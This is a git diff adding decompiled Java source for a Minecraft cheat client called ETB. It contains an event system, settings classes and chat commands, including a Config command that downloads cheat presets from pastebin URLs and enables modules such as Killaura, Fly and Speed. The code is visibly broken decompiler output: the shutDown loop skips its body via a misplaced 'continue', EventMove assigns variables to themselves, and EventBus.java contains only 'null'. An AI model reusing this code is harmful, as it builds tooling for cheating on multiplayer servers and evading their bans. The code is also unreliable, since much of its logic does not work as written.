+    Calendar cal = Calendar.getInstance();
+    cal.setTime(new Date(now));
+    cal.set(14, 0);
+    cal.set(13, 0);
+    cal.set(12, 0);
+    cal.add(10, 1);
+    return cal.getTime().getTime();
+  }
+  
+  public static long computeStartOfNextDay(long now) {
+    Calendar cal = Calendar.getInstance();
+    cal.setTime(new Date(now));
+    
+    cal.add(5, 1);
+    cal.set(14, 0);
+    cal.set(13, 0);
+    cal.set(12, 0);
+    cal.set(11, 0);
+    return cal.getTime().getTime();
+  }
+  
+  public static long computeStartOfNextWeek(long now) {
+    Calendar cal = Calendar.getInstance();
+    cal.setTime(new Date(now));
+    
+    cal.set(7, cal.getFirstDayOfWeek());
+    cal.set(11, 0);
+    cal.set(12, 0);
+    cal.set(13, 0);
+    cal.set(14, 0);
+    cal.add(3, 1);
+    return cal.getTime().getTime();
+  }
+  
+  public static long computeStartOfNextMonth(long now) {
+    Calendar cal = Calendar.getInstance();
+    cal.setTime(new Date(now));
+    
+    cal.set(5, 1);
+    cal.set(11, 0);
+    cal.set(12, 0);
+    cal.set(13, 0);
+    cal.set(14, 0);
+    cal.add(2, 1);
+    return cal.getTime().getTime();
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/Client.java b/src/minecraft/com/enjoytheban/Client.java
new file mode 100644
index 0000000..6379418
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/Client.java
@@ -0,0 +1,135 @@
+package com.enjoytheban;
+
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.management.CommandManager;
+import com.enjoytheban.management.FileManager;
+import com.enjoytheban.management.FriendManager;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.render.UI.TabUI;
+import com.enjoytheban.ui.login.AltManager;
+import com.jagrosh.discordipc.IPCClient;
+import com.jagrosh.discordipc.IPCListener;
+import com.jagrosh.discordipc.entities.DiscordBuild;
+import com.jagrosh.discordipc.entities.RichPresence.Builder;
+import com.jagrosh.discordipc.exceptions.NoDiscordClientException;
+import java.io.PrintStream;
+import java.time.OffsetDateTime;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.util.ResourceLocation;
+
+
+
+
+
+
+
+
+
+public class Client
+{
+  public final String name = "ETB";
+  public final double version = 0.6D;
+  public static boolean publicMode = false;
+  
+
+  IPCClient client = new IPCClient(500494614311206913L);
+  
+
+  public static Client instance = new Client();
+  
+  private ModuleManager modulemanager;
+  
+  private CommandManager commandmanager;
+  
+  private AltManager altmanager;
+  
+  private FriendManager friendmanager;
+  private TabUI tabui;
+  public static ResourceLocation CLIENT_CAPE = new ResourceLocation("ETB/cape.png");
+  
+  public Client() {}
+  
+  public void initiate()
+  {
+    (this.commandmanager = new CommandManager()).init();
+    (this.friendmanager = new FriendManager()).init();
+    (this.modulemanager = new ModuleManager()).init();
+    
+    (this.tabui = new TabUI()).init();
+    
+    altmanager = new AltManager();AltManager.init();
+    AltManager.setupAlts();
+    
+    FileManager.init();
+    onReady(client);
+  }
+  
+  public ModuleManager getModuleManager()
+  {
+    return modulemanager;
+  }
+  
+  public CommandManager getCommandManager()
+  {
+    return commandmanager;
+  }
+  
+  public AltManager getAltManager() {
+    return altmanager;
+  }
+  
+
+  public void shutDown()
+  {
+    String values = "";
+    
+    instance.getModuleManager(); Iterator localIterator2; Value v; for (Iterator localIterator1 = ModuleManager.getModules().iterator(); localIterator1.hasNext(); 
+        
+        localIterator2.hasNext())
+    {
+      Module m = (Module)localIterator1.next();
+      
+      localIterator2 = m.getValues().iterator(); continue;v = (Value)localIterator2.next();
+      
+      values = values + String.format("%s:%s:%s%s", new Object[] { m.getName(), v.getName(), v.getValue(), System.lineSeparator() });
+    }
+    
+
+    FileManager.save("Values.txt", values, false);
+    
+    String enabled = "";
+    
+    instance.getModuleManager(); for (Module m : ModuleManager.getModules())
+    {
+      if (m.isEnabled())
+      {
+
+        enabled = enabled + String.format("%s%s", new Object[] { m.getName(), System.lineSeparator() });
+      }
+    }
+    FileManager.save("Enabled.txt", enabled, false);
+  }
+  
+  public void onReady(IPCClient client) {
+    client.setListener(new IPCListener()
+    {
+      public void onReady(IPCClient client) {
+        RichPresence.Builder builder = new RichPresence.Builder();
+        builder.setDetails("ETB 0.6")
+          .setState("Minecraft 1.8")
+          .setStartTimestamp(OffsetDateTime.now())
+          .setDetails("https://www.enjoytheban.com/")
+          .setLargeImage("etb_logo", "https://www.enjoytheban.com/");
+        client.sendRichPresence(builder.build());
+      }
+    });
+    try {
+      client.connect(new DiscordBuild[0]);
+      System.out.println("RPC Set!");
+    } catch (NoDiscordClientException e) {
+      e.printStackTrace();
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/AALAPI.java b/src/minecraft/com/enjoytheban/api/AALAPI.java
new file mode 100644
index 0000000..ab49d2e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/AALAPI.java
@@ -0,0 +1,30 @@
+package com.enjoytheban.api;
+
+import java.lang.reflect.Method;
+
+public class AALAPI {
+  public AALAPI() {}
+  
+  public static String getUsername() { if (username == null) {
+      username = getUsernameUncached();
+    }
+    return username;
+  }
+  
+  private static String username;
+  private static String getUsernameUncached() {
+    Class api;
+    try { api = Class.forName("net.aal.API");
+    } catch (ClassNotFoundException ignored) { Class api;
+      api = null;
+    }
+    if (api == null) {
+      return "debug-mode";
+    }
+    try {
+      return (String)api.getMethod("getUsername", new Class[0]).invoke(null, new Object[0]);
+    } catch (Exception e) {
+      e.printStackTrace(); }
+    return "error-getting-username";
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/Event.java b/src/minecraft/com/enjoytheban/api/Event.java
new file mode 100644
index 0000000..cd9a0d4
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/Event.java
@@ -0,0 +1,36 @@
+package com.enjoytheban.api;
+
+
+public abstract class Event
+{
+  private boolean cancelled;
+  public byte type;
+  
+  public Event() {}
+  
+  public boolean isCancelled()
+  {
+    return cancelled;
+  }
+  
+
+
+  public void setCancelled(boolean cancelled)
+  {
+    this.cancelled = cancelled;
+  }
+  
+
+
+  public byte getType()
+  {
+    return type;
+  }
+  
+
+
+  public void setType(byte type)
+  {
+    this.type = type;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/EventBus.java b/src/minecraft/com/enjoytheban/api/EventBus.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/EventBus.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/api/EventHandler.java b/src/minecraft/com/enjoytheban/api/EventHandler.java
new file mode 100644
index 0000000..a112d47
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/EventHandler.java
@@ -0,0 +1,13 @@
+package com.enjoytheban.api;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.METHOD})
+public @interface EventHandler
+{
+  byte priority() default 1;
+}
diff --git a/src/minecraft/com/enjoytheban/api/Priority.java b/src/minecraft/com/enjoytheban/api/Priority.java
new file mode 100644
index 0000000..8a1ef11
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/Priority.java
@@ -0,0 +1,10 @@
+package com.enjoytheban.api;
+
+public class Priority
+{
+  public static final byte HIGH = 0;
+  public static final byte NORMAL = 1;
+  public static final byte LOW = 2;
+  
+  public Priority() {}
+}
diff --git a/src/minecraft/com/enjoytheban/api/Type.java b/src/minecraft/com/enjoytheban/api/Type.java
new file mode 100644
index 0000000..12158b4
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/Type.java
@@ -0,0 +1,11 @@
+package com.enjoytheban.api;
+
+public class Type
+{
+  public static final byte PRE = 0;
+  public static final byte POST = 1;
+  public static final byte OUTGOING = 2;
+  public static final byte INCOMING = 3;
+  
+  public Type() {}
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/misc/EventChat.java b/src/minecraft/com/enjoytheban/api/events/misc/EventChat.java
new file mode 100644
index 0000000..076d5ff
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/misc/EventChat.java
@@ -0,0 +1,48 @@
+package com.enjoytheban.api.events.misc;
+
+import com.enjoytheban.api.Event;
+
+
+
+
+
+
+
+
+
+
+public class EventChat
+  extends Event
+{
+  private String message;
+  private ChatType type;
+  
+  public EventChat(ChatType type, String message)
+  {
+    this.type = type;
+    this.message = message;
+    setType((byte)0);
+  }
+  
+  public String getMessage()
+  {
+    return message;
+  }
+  
+  public void setMessage(String message)
+  {
+    this.message = message;
+  }
+  
+  public ChatType getChatType() {
+    return type;
+  }
+  
+  public void setType(ChatType type) {
+    this.type = type;
+  }
+  
+  public static enum ChatType {
+    Send,  Receive;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/misc/EventCollideWithBlock.java b/src/minecraft/com/enjoytheban/api/events/misc/EventCollideWithBlock.java
new file mode 100644
index 0000000..eee067d
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/misc/EventCollideWithBlock.java
@@ -0,0 +1,51 @@
+package com.enjoytheban.api.events.misc;
+
+import com.enjoytheban.api.Event;
+import net.minecraft.block.Block;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+
+
+
+
+
+
+
+public class EventCollideWithBlock
+  extends Event
+{
+  private Block block;
+  private BlockPos blockPos;
+  public AxisAlignedBB boundingBox;
+  
+  public EventCollideWithBlock(Block block, BlockPos pos, AxisAlignedBB boundingBox)
+  {
+    this.block = block;
+    blockPos = pos;
+    this.boundingBox = boundingBox;
+  }
+  
+  public Block getBlock()
+  {
+    return block;
+  }
+  
+  public BlockPos getPos() {
+    return blockPos;
+  }
+  
+  public AxisAlignedBB getBoundingBox() { return boundingBox; }
+  
+  public void setBlock(Block block)
+  {
+    this.block = block;
+  }
+  
+  public void setBlockPos(BlockPos blockPos) {
+    this.blockPos = blockPos;
+  }
+  
+  public void setBoundingBox(AxisAlignedBB boundingBox) {
+    this.boundingBox = boundingBox;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/misc/EventInventory.java b/src/minecraft/com/enjoytheban/api/events/misc/EventInventory.java
new file mode 100644
index 0000000..fe79d5e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/misc/EventInventory.java
@@ -0,0 +1,18 @@
+package com.enjoytheban.api.events.misc;
+
+import com.enjoytheban.api.Event;
+import net.minecraft.entity.player.EntityPlayer;
+
+public class EventInventory extends Event
+{
+  private final EntityPlayer player;
+  
+  public EventInventory(EntityPlayer player)
+  {
+    this.player = player;
+  }
+  
+  public EntityPlayer getPlayer() {
+    return player;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/misc/EventKey.java b/src/minecraft/com/enjoytheban/api/events/misc/EventKey.java
new file mode 100644
index 0000000..ab755e4
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/misc/EventKey.java
@@ -0,0 +1,29 @@
+package com.enjoytheban.api.events.misc;
+
+import com.enjoytheban.api.Event;
+
+
+
+
+
+
+public class EventKey
+  extends Event
+{
+  private int key;
+  
+  public EventKey(int key)
+  {
+    this.key = key;
+  }
+  
+  public int getKey()
+  {
+    return key;
+  }
+  
+  public void setKey(int key)
+  {
+    this.key = key;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/rendering/EventPostRenderPlayer.java b/src/minecraft/com/enjoytheban/api/events/rendering/EventPostRenderPlayer.java
new file mode 100644
index 0000000..641d676
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/rendering/EventPostRenderPlayer.java
@@ -0,0 +1,9 @@
+package com.enjoytheban.api.events.rendering;
+
+import com.enjoytheban.api.Event;
+
+public class EventPostRenderPlayer
+  extends Event
+{
+  public EventPostRenderPlayer() {}
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/rendering/EventPreRenderPlayer.java b/src/minecraft/com/enjoytheban/api/events/rendering/EventPreRenderPlayer.java
new file mode 100644
index 0000000..5f8bc28
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/rendering/EventPreRenderPlayer.java
@@ -0,0 +1,9 @@
+package com.enjoytheban.api.events.rendering;
+
+import com.enjoytheban.api.Event;
+
+public class EventPreRenderPlayer
+  extends Event
+{
+  public EventPreRenderPlayer() {}
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/rendering/EventRender2D.java b/src/minecraft/com/enjoytheban/api/events/rendering/EventRender2D.java
new file mode 100644
index 0000000..9eeae14
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/rendering/EventRender2D.java
@@ -0,0 +1,32 @@
+package com.enjoytheban.api.events.rendering;
+
+import com.enjoytheban.api.Event;
+
+
+
+
+
+
+
+
+
+public class EventRender2D
+  extends Event
+{
+  private float partialTicks;
+  
+  public EventRender2D(float partialTicks)
+  {
+    this.partialTicks = partialTicks;
+  }
+  
+  public float getPartialTicks()
+  {
+    return partialTicks;
+  }
+  
+  public void setPartialTicks(float partialTicks)
+  {
+    this.partialTicks = partialTicks;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/rendering/EventRender3D.java b/src/minecraft/com/enjoytheban/api/events/rendering/EventRender3D.java
new file mode 100644
index 0000000..428530e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/rendering/EventRender3D.java
@@ -0,0 +1,35 @@
+package com.enjoytheban.api.events.rendering;
+
+import com.enjoytheban.api.Event;
+import shadersmod.client.Shaders;
+
+
+
+
+
+
+
+public class EventRender3D
+  extends Event
+{
+  private float ticks;
+  private boolean isUsingShaders;
+  
+  public EventRender3D()
+  {
+    isUsingShaders = (Shaders.getShaderPackName() != null);
+  }
+  
+  public EventRender3D(float ticks) {
+    this.ticks = ticks;
+    isUsingShaders = (Shaders.getShaderPackName() != null);
+  }
+  
+  public float getPartialTicks() {
+    return ticks;
+  }
+  
+  public boolean isUsingShaders() {
+    return isUsingShaders;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/rendering/EventRenderCape.java b/src/minecraft/com/enjoytheban/api/events/rendering/EventRenderCape.java
new file mode 100644
index 0000000..dab9120
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/rendering/EventRenderCape.java
@@ -0,0 +1,33 @@
+package com.enjoytheban.api.events.rendering;
+
+import com.enjoytheban.api.Event;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.ResourceLocation;
+
+
+
+
+public class EventRenderCape
+  extends Event
+{
+  private ResourceLocation capeLocation;
+  private final EntityPlayer player;
+  
+  public EventRenderCape(ResourceLocation capeLocation, EntityPlayer player)
+  {
+    this.capeLocation = capeLocation;
+    this.player = player;
+  }
+  
+  public ResourceLocation getLocation() {
+    return capeLocation;
+  }
+  
+  public void setLocation(ResourceLocation location) {
+    capeLocation = location;
+  }
+  
+  public EntityPlayer getPlayer() {
+    return player;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/world/EventMove.java b/src/minecraft/com/enjoytheban/api/events/world/EventMove.java
new file mode 100644
index 0000000..d4e289b
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/world/EventMove.java
@@ -0,0 +1,56 @@
+package com.enjoytheban.api.events.world;
+
+import com.enjoytheban.api.Event;
+
+
+
+
+
+
+public class EventMove
+  extends Event
+{
+  public static double x;
+  public static double y;
+  public static double z;
+  private double motionX;
+  private double motionY;
+  private double motionZ;
+  
+  public EventMove(double x, double y, double z)
+  {
+    x = x;
+    y = y;
+    z = z;
+    motionX = x;
+    motionY = y;
+    motionZ = z;
+  }
+  
+  public double getX()
+  {
+    return x;
+  }
+  
+  public void setX(double x) {
+    x = x;
+  }
+  
+  public double getY()
+  {
+    return y;
+  }
+  
+  public void setY(double y) {
+    y = y;
+  }
+  
+  public double getZ()
+  {
+    return z;
+  }
+  
+  public void setZ(double z) {
+    z = z;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/world/EventPacketRecieve.java b/src/minecraft/com/enjoytheban/api/events/world/EventPacketRecieve.java
new file mode 100644
index 0000000..d8fe3b3
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/world/EventPacketRecieve.java
@@ -0,0 +1,32 @@
+package com.enjoytheban.api.events.world;
+
+import com.enjoytheban.api.Event;
+import net.minecraft.network.Packet;
+
+
+
+
+
+
+
+
+public class EventPacketRecieve
+  extends Event
+{
+  private Packet packet;
+  
+  public EventPacketRecieve(Packet packet)
+  {
+    this.packet = packet;
+  }
+  
+  public Packet getPacket()
+  {
+    return packet;
+  }
+  
+  public void setPacket(Packet packet)
+  {
+    this.packet = packet;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/world/EventPacketSend.java b/src/minecraft/com/enjoytheban/api/events/world/EventPacketSend.java
new file mode 100644
index 0000000..276a9b8
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/world/EventPacketSend.java
@@ -0,0 +1,36 @@
+package com.enjoytheban.api.events.world;
+
+import com.enjoytheban.api.Event;
+import net.minecraft.network.Packet;
+
+
+
+
+
+
+
+
+
+
+
+
+public class EventPacketSend
+  extends Event
+{
+  private Packet packet;
+  
+  public EventPacketSend(Packet packet)
+  {
+    this.packet = packet;
+  }
+  
+  public Packet getPacket()
+  {
+    return packet;
+  }
+  
+  public void setPacket(Packet packet)
+  {
+    this.packet = packet;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/world/EventPostUpdate.java b/src/minecraft/com/enjoytheban/api/events/world/EventPostUpdate.java
new file mode 100644
index 0000000..582833b
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/world/EventPostUpdate.java
@@ -0,0 +1,29 @@
+package com.enjoytheban.api.events.world;
+
+import com.enjoytheban.api.Event;
+
+public class EventPostUpdate extends Event {
+  private float yaw;
+  private float pitch;
+  
+  public EventPostUpdate(float yaw, float pitch) {
+    this.yaw = yaw;
+    this.pitch = pitch;
+  }
+  
+  public float getYaw() {
+    return yaw;
+  }
+  
+  public void setYaw(float yaw) {
+    this.yaw = yaw;
+  }
+  
+  public float getPitch() {
+    return pitch;
+  }
+  
+  public void setPitch(float pitch) {
+    this.pitch = pitch;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/world/EventPreUpdate.java b/src/minecraft/com/enjoytheban/api/events/world/EventPreUpdate.java
new file mode 100644
index 0000000..b133b02
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/world/EventPreUpdate.java
@@ -0,0 +1,58 @@
+package com.enjoytheban.api.events.world;
+
+import com.enjoytheban.api.Event;
+
+
+
+
+
+
+
+public class EventPreUpdate
+  extends Event
+{
+  private float yaw;
+  private float pitch;
+  public double y;
+  private boolean ground;
+  
+  public EventPreUpdate(float yaw, float pitch, double y, boolean ground)
+  {
+    this.yaw = yaw;
+    this.pitch = pitch;
+    this.y = y;
+    this.ground = ground;
+  }
+  
+  public float getYaw() {
+    return yaw;
+  }
+  
+  public void setYaw(float yaw) {
+    this.yaw = yaw;
+  }
+  
+  public float getPitch() {
+    return pitch;
+  }
+  
+  public void setPitch(float pitch) {
+    this.pitch = pitch;
+  }
+  
+  public double getY() {
+    return y;
+  }
+  
+  public void setY(double y) {
+    this.y = y;
+  }
+  
+  public boolean isOnground() {
+    return ground;
+  }
+  
+  public void setOnground(boolean ground) {
+    this.ground = ground;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/events/world/EventTick.java b/src/minecraft/com/enjoytheban/api/events/world/EventTick.java
new file mode 100644
index 0000000..223603e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/events/world/EventTick.java
@@ -0,0 +1,9 @@
+package com.enjoytheban.api.events.world;
+
+import com.enjoytheban.api.Event;
+
+public class EventTick
+  extends Event
+{
+  public EventTick() {}
+}
diff --git a/src/minecraft/com/enjoytheban/api/value/Mode.java b/src/minecraft/com/enjoytheban/api/value/Mode.java
new file mode 100644
index 0000000..8f76b8d
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/value/Mode.java
@@ -0,0 +1,52 @@
+package com.enjoytheban.api.value;
+
+
+
+
+public class Mode<V extends Enum>
+  extends Value<V>
+{
+  private V[] modes;
+  
+
+
+
+  public Mode(String displayName, String name, V[] modes, V value)
+  {
+    super(displayName, name);
+    this.modes = modes;
+    setValue(value);
+  }
+  
+  public V[] getModes()
+  {
+    return modes;
+  }
+  
+
+  public String getModeAsString()
+  {
+    return ((Enum)getValue()).name();
+  }
+  
+  public void setMode(String mode)
+  {
+    for (Enum e : modes) {
+      if (e.name().equalsIgnoreCase(mode))
+      {
+
+        setValue(e);
+      }
+    }
+  }
+  
+  public boolean isValid(String name) {
+    for (Enum e : modes) {
+      if (e.name().equalsIgnoreCase(name))
+      {
+
+        return true; }
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/value/Numbers.java b/src/minecraft/com/enjoytheban/api/value/Numbers.java
new file mode 100644
index 0000000..6adddb8
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/value/Numbers.java
@@ -0,0 +1,58 @@
+package com.enjoytheban.api.value;
+
+
+
+public class Numbers<T extends Number>
+  extends Value<T>
+{
+  private String name;
+  
+
+  public T min;
+  
+
+  public T max;
+  
+
+  public T inc;
+  
+
+  private boolean integer;
+  
+
+
+  public Numbers(String displayName, String name, T value, T min, T max, T inc)
+  {
+    super(displayName, name);
+    setValue(value);
+    this.min = min;
+    this.max = max;
+    this.inc = inc;
+    integer = false;
+  }
+  
+  public T getMinimum()
+  {
+    return min;
+  }
+  
+  public T getMaximum()
+  {
+    return max;
+  }
+  
+  public void setIncrement(T inc)
+  {
+    this.inc = inc;
+  }
+  
+  public T getIncrement()
+  {
+    return inc;
+  }
+  
+  public String getId()
+  {
+    return name;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/value/Option.java b/src/minecraft/com/enjoytheban/api/value/Option.java
new file mode 100644
index 0000000..9bddc28
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/value/Option.java
@@ -0,0 +1,16 @@
+package com.enjoytheban.api.value;
+
+
+
+
+
+
+public class Option<V>
+  extends Value<V>
+{
+  public Option(String displayName, String name, V enabled)
+  {
+    super(displayName, name);
+    setValue(enabled);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/api/value/Value.java b/src/minecraft/com/enjoytheban/api/value/Value.java
new file mode 100644
index 0000000..564be8f
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/api/value/Value.java
@@ -0,0 +1,39 @@
+package com.enjoytheban.api.value;
+
+
+
+public abstract class Value<V>
+{
+  private String displayName;
+  
+  private String name;
+  
+  private V value;
+  
+
+  public Value(String displayName, String name)
+  {
+    this.displayName = displayName;
+    this.name = name;
+  }
+  
+  public String getDisplayName()
+  {
+    return displayName;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public V getValue()
+  {
+    return value;
+  }
+  
+  public void setValue(V value)
+  {
+    this.value = value;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/Command.java b/src/minecraft/com/enjoytheban/command/Command.java
new file mode 100644
index 0000000..4ce057e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/Command.java
@@ -0,0 +1,60 @@
+package com.enjoytheban.command;
+
+import com.enjoytheban.utils.Helper;
+
+
+
+
+
+public abstract class Command
+{
+  private String name;
+  private String[] alias;
+  private String syntax;
+  private String help;
+  
+  public Command(String name, String[] alias, String syntax, String help)
+  {
+    this.name = name.toLowerCase();
+    this.syntax = syntax.toLowerCase();
+    this.help = help;
+    this.alias = alias;
+  }
+  
+
+  public abstract String execute(String[] paramArrayOfString);
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public String[] getAlias() {
+    return alias;
+  }
+  
+  public String getSyntax() {
+    return syntax;
+  }
+  
+  public String getHelp() {
+    return help;
+  }
+  
+  public void syntaxError(String msg)
+  {
+    Helper.sendMessage(String.format("§7Invalid command usage", new Object[] { msg }));
+  }
+  
+  public void syntaxError(byte errorType)
+  {
+    switch (errorType) {
+    case 0: 
+      syntaxError("bad argument");
+      break;
+    
+    case 1: 
+      syntaxError("argument gay");
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/Bind.java b/src/minecraft/com/enjoytheban/command/commands/Bind.java
new file mode 100644
index 0000000..8412c9e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/Bind.java
@@ -0,0 +1,45 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.command.Command;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.utils.Helper;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+
+
+public class Bind
+  extends Command
+{
+  public Bind()
+  {
+    super("Bind", new String[] { "b" }, "", "sketit");
+  }
+  
+
+  public String execute(String[] args)
+  {
+    if (args.length >= 2)
+    {
+      Module m = Client.instance.getModuleManager().getAlias(args[0]);
+      
+      if (m != null) {
+        int k = Keyboard.getKeyIndex(args[1].toUpperCase());
+        
+        m.setKey(k);
+        
+        Helper.sendMessage(
+          String.format("> Bound %s to %s", new Object[] { m.getName(), k == 0 ? "none" : args[1].toUpperCase() }));
+      } else {
+        Helper.sendMessage("> Invalid module name, double check spelling.");
+      }
+    } else {
+      Helper.sendMessageWithoutPrefix("§bCorrect usage:§7 .bind <module> <key>");
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/Cheats.java b/src/minecraft/com/enjoytheban/command/commands/Cheats.java
new file mode 100644
index 0000000..15cc416
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/Cheats.java
@@ -0,0 +1,32 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.command.Command;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.utils.Helper;
+import net.minecraft.util.EnumChatFormatting;
+
+public class Cheats extends Command
+{
+  public Cheats()
+  {
+    super("Cheats", new String[] { "mods" }, "", "sketit");
+  }
+  
+
+  public String execute(String[] args)
+  {
+    if (args.length == 0)
+    {
+      Client.instance.getModuleManager();StringBuilder list = new StringBuilder(com.enjoytheban.management.ModuleManager.getModules().size() + " Cheats - ");
+      Client.instance.getModuleManager(); for (Module cheat : com.enjoytheban.management.ModuleManager.getModules()) {
+        list.append(cheat.isEnabled() ? EnumChatFormatting.GREEN : EnumChatFormatting.RED).append(cheat.getName()).append(", ");
+      }
+      Helper.sendMessage("> " + list.toString().substring(0, list.toString().length() - 2));
+    }
+    else {
+      Helper.sendMessage("> Correct usage .cheats");
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/command/commands/Config.java b/src/minecraft/com/enjoytheban/command/commands/Config.java
new file mode 100644
index 0000000..2712178
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/command/commands/Config.java
@@ -0,0 +1,336 @@
+package com.enjoytheban.command.commands;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.command.Command;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.combat.FastBow;
+import com.enjoytheban.module.modules.player.FastUse;
+import com.enjoytheban.utils.Helper;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.net.URL;
+import java.nio.channels.Channels;
+import java.nio.channels.FileChannel;
+import java.nio.channels.ReadableByteChannel;
+import java.util.List;
+
+
+
+
+
+
+
+public class Config
+  extends Command
+{
+  public Config()
+  {
+    super("config", new String[] { "cfg", "loadconfig", "preset" }, "config", "load a cfg");
+  }
+  
+  private JsonParser parser = new JsonParser();
+  private JsonObject jsonData;
+  private static File dir = new File(System.getenv("SystemDrive") + "//config");
+  
+  private void guardian(String[] args) {
+    String filepath;
+    try { URL settings = new URL("https://pastebin.com/raw/zTCtqBxS");
+      URL enabled = new URL("https://pastebin.com/raw/ewxezLm9");
+      filepath = System.getenv("SystemDrive") + "//config//Guardian.txt";
+      String filepathenabled = System.getenv("SystemDrive") + "//config//GuardianEnabled.txt";
+      ReadableByteChannel channel = Channels.newChannel(settings.openStream());
+      ReadableByteChannel channelenabled = Channels.newChannel(enabled.openStream());
+      
+      FileOutputStream stream = new FileOutputStream(filepath);
+      
+      FileOutputStream streamenabled = new FileOutputStream(filepathenabled);
+      stream.getChannel().transferFrom(channel, 0L, Long.MAX_VALUE);
+      streamenabled.getChannel().transferFrom(channelenabled, 0L, Long.MAX_VALUE);
+      Helper.sendMessage("> Loaded - Optional Modules: FastUse/Fastbow, Fly, Killaura, Longjump, Speed, etc");
+    } catch (Exception e) {
+      Helper.sendMessage("> Download Failed, Please try again");
+    }
+    List<String> enabled = read("GuardianEnabled.txt");
+    Module m; for (String v : enabled) {
+      m = ModuleManager.getModuleByName(v);
+      if (m != null)
+      {
+
+        m.setEnabled(true); }
+    }
+    List<String> vals = read("Guardian.txt");
+    for (String v : vals) {
+      String name = v.split(":")[0];String values = v.split(":")[1];
+      Module m = ModuleManager.getModuleByName(name);
+      if (m != null)
+      {
+
+        for (Value value : m.getValues()) {
+          if (value.getName().equalsIgnoreCase(values)) {
+            if ((value instanceof Option)) {
+              value.setValue(Boolean.valueOf(Boolean.parseBoolean(v.split(":")[2])));
+            } else if ((value instanceof Numbers)) {
+              value.setValue(Double.valueOf(Double.parseDouble(v.split(":")[2])));
+            } else
+              ((Mode)value).setMode(v.split(":")[2]);
+          }
+        }
+      }
+    }
+  }
+  
